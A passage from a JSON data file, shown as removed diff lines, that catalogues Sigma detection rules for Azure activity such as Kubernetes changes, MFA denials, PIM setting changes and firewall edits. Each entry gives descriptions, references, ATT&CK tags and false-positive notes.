"azure_kubernetes_admission_controller.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Azure Kubernetes Admissions Controller may be done by a system administrator.", - "If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when a Azure Kubernetes Cluster is created or deleted.", - "uuid": "9541f321-7cba-4b43-80fc-fbd1fb922808", - "value": "Azure Kubernetes Cluster Created or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_cluster_created_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/07", - "filename": "azure_kubernetes_cluster_created_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "low", - "falsepositive": [ - "Kubernetes cluster being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Kubernetes cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\nKubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\nAn Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n", - "uuid": "1c71e254-6655-42c1-b2d6-5e4718d7fc0a", - "value": "Azure Kubernetes CronJob", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", - "https://kubernetes.io/docs/concepts/workloads/controllers/job/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_cronjob.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.execution" - ], - "creation_date": "2021/11/22", - "filename": "azure_kubernetes_cronjob.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Azure Kubernetes CronJob/Job may be done by a system administrator.", - "If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when Events are deleted in Azure Kubernetes. An adversary may delete events in Azure Kubernetes in an attempt to evade detection.", - "uuid": "225d8b09-e714-479c-a0e4-55e6f29adf35", - "value": "Azure Kubernetes Events Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://github.com/elastic/detection-rules/blob/da3852b681cf1a33898b1535892eab1f3a76177a/rules/integrations/azure/defense_evasion_kubernetes_events_deleted.toml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_events_deleted.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562", - "attack.t1562.001" - ], - "creation_date": "2021/07/24", - "filename": "azure_kubernetes_events_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Event deletions may be done by a system or network administrator. Verify whether the username, hostname, and/or resource name should be making changes in your environment. Events deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a Azure Kubernetes network policy is modified or deleted.", - "uuid": "08d6ac24-c927-4469-b3b7-2e422d6e3c43", - "value": "Azure Kubernetes Network Policy Change", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_network_policy_change.yml" - ], - "tags": [ - "attack.impact", - "attack.credential_access" - ], - "creation_date": "2021/08/07", - "filename": "azure_kubernetes_network_policy_change.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Network Policy being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Network Policy being modified and deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies the deletion of Azure Kubernetes Pods.", - "uuid": "b02f9591-12c3-4965-986a-88028629b2e1", - "value": "Azure Kubernetes Pods Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://github.com/elastic/detection-rules/blob/065bf48a9987cd8bd826c098a30ce36e6868ee46/rules/integrations/azure/impact_kubernetes_pod_deleted.toml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_pods_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/07/24", - "filename": "azure_kubernetes_pods_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Pods may be deleted by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Pods deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects the creation or patching of potential malicious RoleBinding/ClusterRoleBinding.", - "uuid": "25cb259b-bbdc-4b87-98b7-90d7c72f8743", - "value": "Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_rolebinding_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact", - "attack.credential_access" - ], - "creation_date": "2021/08/07", - "filename": "azure_kubernetes_rolebinding_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "RoleBinding/ClusterRoleBinding being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "RoleBinding/ClusterRoleBinding modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when ClusterRoles/Roles are being modified or deleted.", - "uuid": "818fee0c-e0ec-4e45-824e-83e4817b0887", - "value": "Azure Kubernetes Sensitive Role Access", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_role_access.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/07", - "filename": "azure_kubernetes_role_access.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "ClusterRoles/Roles being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "ClusterRoles/Roles modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a Kubernetes account access a sensitive objects such as configmaps or secrets.", - "uuid": "7ee0b4aa-d8d4-4088-b661-20efdf41a04c", - "value": "Azure Kubernetes Secret or Config Object Access", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_secret_or_config_object_access.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/07", - "filename": "azure_kubernetes_secret_or_config_object_access.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Sensitive objects may be accessed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Sensitive objects accessed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a service account is modified or deleted.", - "uuid": "12d027c3-b48c-4d9d-8bb6-a732200034b2", - "value": "Azure Kubernetes Service Account Modified or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_service_account_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/07", - "filename": "azure_kubernetes_service_account_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Service account being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Service account modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Alert on when legecy authentication has been used on an account", - "uuid": "60f6535a-760f-42a9-be3f-c9a0a025906e", - "value": "Use of Legacy Authentication Protocols", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_legacy_authentication_protocols.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1212" - ], - "creation_date": "2022/06/17", - "filename": "azure_legacy_authentication_protocols.yml", - "author": "Yochana Henderson, '@Yochana-H'", - "level": "high", - "falsepositive": [ - "User has been put in acception group so they can use legacy authentication" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detect failed attempts to sign in to disabled accounts.", - "uuid": "908655e0-25cf-4ae1-b775-1c8ce9cf43d8", - "value": "Login to Disabled Account", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_login_to_disabled_account.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1078" - ], - "creation_date": "2021/10/10", - "filename": "azure_login_to_disabled_account.yml", - "author": "AlertIQ", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "User has indicated they haven't instigated the MFA prompt and could indicate an attacker has the password for the account.", - "uuid": "e40f4962-b02b-4192-9bfe-245f7ece1f99", - "value": "Multifactor Authentication Denied", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_denies.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1078.004" - ], - "creation_date": "2022/03/24", - "filename": "azure_mfa_denies.yml", - "author": "AlertIQ", - "level": "medium", - "falsepositive": [ - "Users actually login but miss-click into the Deny button when MFA prompt." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detection for when multi factor authentication has been disabled, which might indicate a malicious activity to bypass authentication mechanisms.", - "uuid": "7ea78478-a4f9-42a6-9dcd-f861816122bf", - "value": "Disabled MFA to Bypass Authentication Mechanisms", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1556/", - "https://docs.microsoft.com/en-us/azure/active-directory/authentication/howto-mfa-userstates", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_disabled.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1556" - ], - "creation_date": "2022/02/08", - "filename": "azure_mfa_disabled.yml", - "author": "@ionsor", - "level": "medium", - "falsepositive": [ - "Authorized modification by administrators" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can't pass the MFA challenge.", - "uuid": "5496ff55-42ec-4369-81cb-00f417029e25", - "value": "Multifactor Authentication Interrupted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_interrupted.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1078.004" - ], - "creation_date": "2021/10/10", - "filename": "azure_mfa_interrupted.yml", - "author": "AlertIQ", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a Firewall Policy is Modified or Deleted.", - "uuid": "83c17918-746e-4bd9-920b-8e098bf88c23", - "value": "Azure Network Firewall Policy Modified or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_firewall_policy_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/09/02", - "filename": "azure_network_firewall_policy_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Firewall Policy being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Firewall Policy modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a Firewall Rule Configuration is Modified or Deleted.", - "uuid": "2a7d64cf-81fa-4daf-ab1b-ab80b789c067", - "value": "Azure Firewall Rule Configuration Modified or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_firewall_rule_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/08", - "filename": "azure_network_firewall_rule_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Firewall Rule Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Firewall Rule Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a Point-to-site VPN is Modified or Deleted.", - "uuid": "d9557b75-267b-4b43-922f-a775e2d1f792", - "value": "Azure Point-to-site VPN Modified or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_p2s_vpn_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/08", - "filename": "azure_network_p2s_vpn_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Point-to-site VPN being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Point-to-site VPN modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a network security configuration is modified or deleted.", - "uuid": "d22b4df4-5a67-4859-a578-8c9a0b5af9df", - "value": "Azure Network Security Configuration Modified or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_security_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/08", - "filename": "azure_network_security_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Network Security Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Network Security Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a virtual network device is being modified or deleted.\nThis can be a network interface, network virtual appliance, virtual hub, or virtual router.\n", - "uuid": "15ef3fac-f0f0-4dc4-ada0-660aa72980b3", - "value": "Azure Virtual Network Device Modified or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_virtual_device_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/08", - "filename": "azure_network_virtual_device_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Virtual Network Device being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Virtual Network Device modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a new cloudshell is created inside of Azure portal.", - "uuid": "72af37e2-ec32-47dc-992b-bc288a2708cb", - "value": "Azure New CloudShell Created", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_new_cloudshell_created.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2021/09/21", - "filename": "azure_new_cloudshell_created.yml", - "author": "Austin Songer", - "level": "medium", - "falsepositive": [ - "A new cloudshell may be created by a system administrator." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a owner is was removed from a application or service principal in Azure.", - "uuid": "636e30d5-3736-42ea-96b1-e6e2f8429fd6", - "value": "Azure Owner Removed From Application or Service Principal", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_owner_removed_from_application_or_service_principal.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2021/09/03", - "filename": "azure_owner_removed_from_application_or_service_principal.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Owner being removed may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Owner removed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when a PIM elevation is approved or denied. Outside of normal operations should be investigated.", - "uuid": "039a7469-0296-4450-84c0-f6966b16dc6d", - "value": "PIM Approvals And Deny Elevation", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_pim_activation_approve_deny.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1078" - ], - "creation_date": "2022/08/09", - "filename": "azure_pim_activation_approve_deny.yml", - "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "level": "high", - "falsepositive": [ - "Actual admin using PIM." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when PIM alerts are set to disabled.", - "uuid": "aeaef14c-e5bf-4690-a9c8-835caad458bd", - "value": "PIM Alert Setting Changes To Disabled", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_pim_alerts_disabled.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1484" - ], - "creation_date": "2022/08/09", - "filename": "azure_pim_alerts_disabled.yml", - "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "level": "high", - "falsepositive": [ - "Administrator disabling PIM alerts as an active choice." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when changes are made to PIM roles", - "uuid": "db6c06c4-bf3b-421c-aa88-15672b88c743", - "value": "Changes To PIM Settings", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_pim_change_settings.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1078" - ], - "creation_date": "2022/08/09", - "filename": "azure_pim_change_settings.yml", - "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "level": "high", - "falsepositive": [ - "Legit administrative PIM setting configuration changes" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when a user is added to a privileged role.", - "uuid": "49a268a4-72f4-4e38-8a7b-885be690c5b5", - "value": "User Added To Privilege Role", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_priviledged_role_assignment_add.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ], - "creation_date": "2022/08/06", - "filename": "azure_priviledged_role_assignment_add.yml", - "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "level": "high", - "falsepositive": [ - "Legtimate administrator actions of adding members from a role" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when a user is removed from a privileged role. Bulk changes should be investigated.", - "uuid": "102e11e3-2db5-4c9e-bc26-357d42585d21", - "value": "Bulk Deletion Changes To Privileged Account Permissions", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_priviledged_role_assignment_bulk_change.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ], - "creation_date": "2022/08/05", - "filename": "azure_priviledged_role_assignment_bulk_change.yml", - "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "level": "high", - "falsepositive": [ - "Legtimate administrator actions of removing members from a role" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when a new admin is created.", - "uuid": "f7b5b004-dece-46e4-a4a5-f6fd0e1c6947", - "value": "Privileged Account Creation", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_privileged_account_creation.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1078" - ], - "creation_date": "2022/08/11", - "filename": "azure_privileged_account_creation.yml", - "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H', Tim Shelton", - "level": "medium", - "falsepositive": [ - "A legitimate new admin account being created" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.", - "uuid": "c1182e02-49a3-481c-b3de-0fadc4091488", - "value": "Rare Subscription-level Operations In Azure", - "meta": { - "refs": [ - "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/RareOperations.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_rare_operations.yml" - ], - "tags": [ - "attack.t1003" - ], - "creation_date": "2020/05/07", - "filename": "azure_rare_operations.yml", - "author": "sawwinnnaung", - "level": "medium", - "falsepositive": [ - "Valid change" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a service principal is created in Azure.", - "uuid": "0ddcff6d-d262-40b0-804b-80eb592de8e3", - "value": "Azure Service Principal Created", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_service_principal_created.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2021/09/02", - "filename": "azure_service_principal_created.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Service principal being created may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Service principal created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a service principal was removed in Azure.", - "uuid": "448fd1ea-2116-4c62-9cde-a92d120e0f08", - "value": "Azure Service Principal Removed", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_service_principal_removed.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2021/09/03", - "filename": "azure_service_principal_removed.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Service principal being removed may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Service principal removed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when a user has been elevated to manage all Azure Subscriptions.\nThis change should be investigated immediately if it isn't planned.\nThis setting could allow an attacker access to Azure subscriptions in your environment.\n", - "uuid": "09438caa-07b1-4870-8405-1dbafe3dad95", - "value": "Azure Subscription Permission Elevation Via ActivityLogs", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftauthorization", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_subscription_permissions_elevation_via_activitylogs.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1078" - ], - "creation_date": "2021/11/26", - "filename": "azure_subscription_permissions_elevation_via_activitylogs.yml", - "author": "Austin Songer @austinsonger", - "level": "high", - "falsepositive": [ - "If this was approved by System Administrator." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when a user has been elevated to manage all Azure Subscriptions.\nThis change should be investigated immediately if it isn't planned.\nThis setting could allow an attacker access to Azure subscriptions in your environment.\n", - "uuid": "ca9bf243-465e-494a-9e54-bf9fc239057d", - "value": "Azure Subscription Permission Elevation Via AuditLogs", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#assignment-and-elevation", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_subscription_permissions_elevation_via_auditlogs.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1078" - ], - "creation_date": "2021/11/26", - "filename": "azure_subscription_permissions_elevation_via_auditlogs.yml", - "author": "Austin Songer @austinsonger", - "level": "high", - "falsepositive": [ - "If this was approved by System Administrator." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a suppression rule is created in Azure. Adversary's could attempt this to evade detection.", - "uuid": "92cc3e5d-eb57-419d-8c16-5c63f325a401", - "value": "Azure Suppression Rule Created", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - 